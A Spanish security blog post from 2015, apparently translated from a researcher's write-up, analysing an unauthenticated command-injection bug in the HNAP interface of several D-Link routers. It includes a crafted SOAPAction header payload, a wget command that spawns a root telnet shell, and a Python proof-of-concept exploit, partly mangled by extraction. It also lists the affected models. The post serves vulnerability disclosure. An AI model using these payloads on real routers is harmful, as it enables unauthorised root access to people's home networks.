Tutoriales y Manuales
Entradas Mensuales
-
►
2024
(Total:
1019
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
▼
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
▼
abril
(Total:
28
)
- Nueva variante del virus CryptoLocker: Crypt0L0cker
- Microsoft también recompensará a los hackers que e...
- Telefónica autorizada por la CNMC para comprar de ...
- Project Fi: el operador móvil virtual de Google
- La nueva API de Youtube dejará sin soporte algunos...
- Cambios en el algoritmo de Google: Mobilegeddon
- Disponible el juego SuperTuxKart 0.9
- Contraseñas WiFi WPA/WPA2 vía GPU con Pyrit
- El drama de la viuda de un hacker al no poder recu...
- Wifi en los aviones: ¿puede suponer un problema de...
- Chrome para Windows XP tendrá soporte hasta finale...
- Windows Server 2003 dejará de recibir soporte en m...
- Nuevo programa de recompensas de fallos de segurid...
- Vulnerabilidad crítica en IIS de Microsoft
- Ping de la muerte para Apple, llamado Darwin Nuke ...
- Parrot Security OS; Kali Linux a la italiana
- Firmware vulnerable de algunos Routers D-Link DIR
- Ficheros PDF con contraseña con John the Ripper
- PixieScript v2.4, ataque automatizado Pixie Dust A...
- Asuswrt-Merlin, el firmware personalizado para rou...
- Mitigación de ataques UDP Reflection DrDoS
- Opciones de seguridad de red en el kernel /proc en...
- Un simple enlace hace fallar a Google Chrome en Wi...
- Tor busca estudiantes que quieran desarrollar herr...
- Anonymous desenmascara a las empresas que alojan l...
- Manual: Instalar y configurar un servidor Team Spe...
- 43 años después, Telnet a pesar de ser inseguro, s...
- Kali Linux NetHunter 1.2 con soporte para Nexus 6 ...
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
seguridad
(
395
)
privacidad
(
363
)
google
(
353
)
ransomware
(
338
)
vulnerabilidad
(
301
)
Malware
(
263
)
Windows
(
243
)
android
(
242
)
cve
(
235
)
tutorial
(
235
)
manual
(
220
)
software
(
201
)
hardware
(
193
)
linux
(
124
)
twitter
(
115
)
ddos
(
94
)
WhatsApp
(
90
)
Wifi
(
85
)
cifrado
(
77
)
herramientas
(
75
)
hacking
(
73
)
sysadmin
(
67
)
app
(
65
)
Networking
(
56
)
nvidia
(
52
)
ssd
(
51
)
youtube
(
50
)
adobe
(
43
)
firmware
(
42
)
office
(
41
)
hack
(
40
)
firefox
(
35
)
contraseñas
(
32
)
eventos
(
32
)
antivirus
(
31
)
juegos
(
31
)
cms
(
30
)
flash
(
28
)
anonymous
(
27
)
MAC
(
25
)
apache
(
25
)
programación
(
25
)
exploit
(
23
)
javascript
(
22
)
multimedia
(
22
)
Kernel
(
20
)
ssl
(
19
)
SeguridadWireless
(
17
)
documental
(
16
)
Forense
(
15
)
conferencia
(
15
)
Debugger
(
14
)
lizard squad
(
14
)
técnicas hacking
(
13
)
auditoría
(
12
)
delitos
(
11
)
metasploit
(
11
)
Virtualización
(
10
)
adamo
(
9
)
reversing
(
9
)
Rootkit
(
8
)
Ehn-Dev
(
7
)
MAC Adress
(
6
)
antimalware
(
6
)
oclHashcat
(
5
)
Entradas populares
-
Después de ver qué es una vCPU y la diferencia entre núcleos (cores) e hilos en los procesadores, pasamos a explicar toda la nomenclatura d...
-
En el panorama en constante evolución de la seguridad de redes, OpnSense se ha convertido en una formidable solución de firewall. Nacido de...
-
Pese a que Gemini ofrece multitudes de opciones, recientemente, se ha dado a conocer una situación fuera de lo común. Hace unos días, un es...
Firmware vulnerable de algunos Routers D-Link DIR
miércoles, 15 de abril de 2015
|
Publicado por
el-brujo
|
Editar entrada
El fabricante D-Link lanzó recientemente su router tope de gama, el modelo D-Link DIR-890L, su primer router tri-banda y con tecnología inalámbrica 802.11ac, con un firmware que deja mucho que desear respecto a su seguridad.
Parece que la imagen del firmware basada en Linux. de los routers D-Link es bastante similar en los últimos años.
Es probable que reconozca la estructura del directorios:
Toda el material de HTTP / UPnP / HNAP se encuentra en el directorio htdocs. El archivo más interesante aquí es htdocs / bin cgi, un binario ELF ARM que es ejecutado por el servidor web para, bueno, casi todo: todo como CGI, UPnP, y HNAP URLs relacionadas son un enlace simbólico a éste binario:
Ahora que tenemos algunas de las funciones de alto nivel identificados, vamos a empezar la caza de errores.
Otros dispositivos D-Link ejecutan esencialmente el mismo firmware previamente han sido explotadas a través tanto de su HTTP y las interfaces de UPnP. Sin embargo, la interfaz HNAP, que es manejado por la función principal HNAP en bin cgi, parece haber sido pasado por alto en su mayoría.
HNAP (Protocolo de Administración de Red Doméstica) es un protocolo basado en SOAP, similar a UPnP, que es comúnmente utilizado por las utilidades de configuración "EZ" de D-Link para configurar inicialmente el router. A diferencia de UPnP sin embargo, todas las acciones HNAP, con la excepción de GetDeviceInfo (que es básicamente inútil), requieren autenticación HTTP básica:
La cabecera SOAPAction es de particular importancia en una solicitud HNAP, porque especifica que se deben tomar medidas HNAP (AddPortMapping en el ejemplo anterior).
Desde bin cgi se ejecuta como un CGI por el servidor web, hnap_main accede a datos de la solicitud HNAP, como el encabezado SOAPAction, a través de variables de entorno:
Claramente, hnap_main está utilizando los datos de la cabecera SOAPAction como parte del comando del sistema! Esto es un error de inyección de comandos prometedor, si no se sanitizan los contenidos de la cabecera SOAPAction, y si podemos entrar en este bloque de código sin autenticación.
Volviendo al comienzo de hnap_main, uno de los primeros controles que hace es para ver si el encabezado SOAPAction es igual a la cadena http://purenetworks.com/HNAP1/GetDeviceSettings; si es así, entonces se omite la comprobación de autenticación. Se espera, como ya hemos establecido que la acción GetDeviceSettings no requiere autenticación:
Sin embargo, tenga en cuenta que strstr se utiliza para esta comprobación, que sólo indica que la cabecera SOAPAction contiene la cadena http://purenetworks.com/HNAP1/GetDeviceSettings, no es que la cabecera es igual a la cadena.
Así que, si el encabezado SOAPAction contiene los http://purenetworks.com/HNAP1/GetDeviceSettings cuerda, el código luego procede a analizar el nombre de la acción (por ejemplo, GetDeviceSettings) de la cabecera y de quitar cualquier arrastran comillas dobles.
Por lo tanto, podemos formatear fácilmente una cabecera SOAPAction que tanto satisface el "no autenticación" de verificación, y nos permite pasar una cadena arbitraria de sistema:
Reemplazando "reboot" con "telnetd" genera un servidor telnet que provee una shell de root no autenticado:
Si la administración remota está habilitada, las solicitudes HNAP son honrados desde la WAN, por lo que la explotación remota posible. Por supuesto, el firewall del router bloquea las conexiones Telnet entrantes de la WAN; una solución sencilla consiste en acabar con el servidor HTTP y generar su servidor telnet en cualquier puerto del servidor HTTP se obliga a hacerlo.
Los últimos parches (patchs) del firmware de D-LINK
No solucionan el problema:
http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
Fuente:
http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
Parece que la imagen del firmware basada en Linux. de los routers D-Link es bastante similar en los últimos años.
Es probable que reconozca la estructura del directorios:
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
Toda el material de HTTP / UPnP / HNAP se encuentra en el directorio htdocs. El archivo más interesante aquí es htdocs / bin cgi, un binario ELF ARM que es ejecutado por el servidor web para, bueno, casi todo: todo como CGI, UPnP, y HNAP URLs relacionadas son un enlace simbólico a éste binario:
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
Ahora que tenemos algunas de las funciones de alto nivel identificados, vamos a empezar la caza de errores.
Otros dispositivos D-Link ejecutan esencialmente el mismo firmware previamente han sido explotadas a través tanto de su HTTP y las interfaces de UPnP. Sin embargo, la interfaz HNAP, que es manejado por la función principal HNAP en bin cgi, parece haber sido pasado por alto en su mayoría.
HNAP (Protocolo de Administración de Red Doméstica) es un protocolo basado en SOAP, similar a UPnP, que es comúnmente utilizado por las utilidades de configuración "EZ" de D-Link para configurar inicialmente el router. A diferencia de UPnP sin embargo, todas las acciones HNAP, con la excepción de GetDeviceInfo (que es básicamente inútil), requieren autenticación HTTP básica:
POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
xml
version
=
"1.0"
encoding
=
"utf-8"
?>
<
soap:Envelope
xmlns:xsi
=
"http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd
=
"http://www.w3.org/2001/XMLSchema"
xmlns:soap
=
"http://schemas.xmlsoap.org/soap/envelope/"
>
<
soap:Body
>
<
PortMappingDescription
>foobar</
PortMappingDescription
>
<
InternalClient
>192.168.0.100</
InternalClient
>
<
PortMappingProtocol
>TCP</
PortMappingProtocol
>
<
ExternalPort
>1234</
ExternalPort
>
<
InternalPort
>1234</
InternalPort
>
</
AddPortMapping
>
</
soap:Body
>
</
soap:Envelope
>
La cabecera SOAPAction es de particular importancia en una solicitud HNAP, porque especifica que se deben tomar medidas HNAP (AddPortMapping en el ejemplo anterior).
Desde bin cgi se ejecuta como un CGI por el servidor web, hnap_main accede a datos de la solicitud HNAP, como el encabezado SOAPAction, a través de variables de entorno:
Claramente, hnap_main está utilizando los datos de la cabecera SOAPAction como parte del comando del sistema! Esto es un error de inyección de comandos prometedor, si no se sanitizan los contenidos de la cabecera SOAPAction, y si podemos entrar en este bloque de código sin autenticación.
Volviendo al comienzo de hnap_main, uno de los primeros controles que hace es para ver si el encabezado SOAPAction es igual a la cadena http://purenetworks.com/HNAP1/GetDeviceSettings; si es así, entonces se omite la comprobación de autenticación. Se espera, como ya hemos establecido que la acción GetDeviceSettings no requiere autenticación:
Sin embargo, tenga en cuenta que strstr se utiliza para esta comprobación, que sólo indica que la cabecera SOAPAction contiene la cadena http://purenetworks.com/HNAP1/GetDeviceSettings, no es que la cabecera es igual a la cadena.
Así que, si el encabezado SOAPAction contiene los http://purenetworks.com/HNAP1/GetDeviceSettings cuerda, el código luego procede a analizar el nombre de la acción (por ejemplo, GetDeviceSettings) de la cabecera y de quitar cualquier arrastran comillas dobles.
Las dos cosas importantes que hay aquí son:/* Build the command using the specified SOAPAction string and execute it */
sprintf
(command,
"sh %s%s.sh > /dev/console"
,
"/var/run/"
, SOAPAction);
system
(command);
- No hay verificación de autenticación si el encabezado SOAPAction contiene la cadena http://purenetworks.com/HNAP1/GetDeviceSettings
- La cadena que se pasa a sprintf (y en última instancia del sistema) es todo después de la última barra diagonal en la cabecera SOAPAction
Por lo tanto, podemos formatear fácilmente una cabecera SOAPAction que tanto satisface el "no autenticación" de verificación, y nos permite pasar una cadena arbitraria de sistema:
Lo interpretaría como:SOAPAction:
"http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
system("sh /var/run/`reboot`.sh > /dev/console");
Reemplazando "reboot" con "telnetd" genera un servidor telnet que provee una shell de root no autenticado:
$ wget --header=
'SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"'
http:
//192
.168.0.1
/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is
'^]'
.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-
in
shell (msh)
Enter
'help'
for
a list of built-
in
commands.
#
Si la administración remota está habilitada, las solicitudes HNAP son honrados desde la WAN, por lo que la explotación remota posible. Por supuesto, el firewall del router bloquea las conexiones Telnet entrantes de la WAN; una solución sencilla consiste en acabar con el servidor HTTP y generar su servidor telnet en cualquier puerto del servidor HTTP se obliga a hacerlo.
Python PoC
No hay ninguna manera de desactivar HNAP en cualquiera de estos dispositivos.#!/usr/bin/env python
import
sys
import
urllib2
import
httplib
try
:
ip_port
=
sys.argv[
1
].split(
':'
)
ip
=
ip_port[
0
]
if
len
(ip_port)
=
=
2
:
port
=
ip_port[
1
]
elif
len
(ip_port)
=
=
1
:
port
=
"80"
else
:
raise
IndexError
except
IndexError:
"Usage: %s
" %
sys.argv[
0
]
sys.exit(
1
)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command
=
"killall httpd; killall hnap; telnetd -p %s"
%
port
headers
=
{
}
req
=
urllib2.Request(url,
None
, headers)
try
:
urllib2.urlopen(req)
raise
Exception(
"Unexpected response"
)
except
httplib.BadStatusLine:
"Exploit sent, try telnetting to %s:%s!"
%
(ip, port)
"To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(
0
)
except
Exception:
"Received an unexpected response from the server; exploit probably failed. :("
Los últimos parches (patchs) del firmware de D-LINK
- http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051
- http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10054
No solucionan el problema:
http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
Algunos de los modelos de routers afectados D-LINK
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-890L
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
Fuente:
http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
Enviar por correo electrónico
Escribe un blog
Compartir en X
Compartir con Facebook
Compartir en Pinterest
0 comentarios :
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.